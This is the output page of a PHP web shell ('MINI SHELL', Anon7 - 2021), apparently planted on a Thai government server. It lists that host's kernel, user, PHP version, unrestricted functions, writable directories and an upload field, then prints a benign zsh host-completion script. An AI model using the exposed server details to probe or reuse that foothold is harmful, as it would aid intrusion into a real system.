MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/zsh/4.2.5/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/zsh/4.2.5/functions/_hosts
#compdef ftp ping rwho rup xping traceroute host aaaa zone mx ns soa txt

local expl hosts tmp

if ! zstyle -a ":completion:${curcontext}:hosts" hosts hosts; then
  (( $+_cache_hosts )) ||
      if (( ${+commands[getent]} )); then
	: ${(A)_cache_hosts:=${(s: :)${(ps:\t:)${(f)~~"$(_call_program hosts getent hosts 2>/dev/null)"}##[:blank:]#[^[:blank:]]#}}}
      else
        : ${(A)_cache_hosts:=${(s: :)${(ps:\t:)${${(f)~~"$(</etc/hosts)"}%%\#*}##[:blank:]#[^[:blank:]]#}}}
	if (( ${+commands[ypcat]} )) &&
	    tmp=$(_call_program hosts ypcat hosts.byname 2>/dev/null); then
          _cache_hosts+=( ${=${(f)tmp}##[:blank:]#[^[:blank:]]#} ) # If you use YP
	fi
      fi

  hosts=( "$_cache_hosts[@]" )
fi

_wanted hosts expl host \
    compadd -M 'm:{a-zA-Z}={A-Za-z} r:|.=* r:|=*' "$@" -a hosts

Anon7 - 2021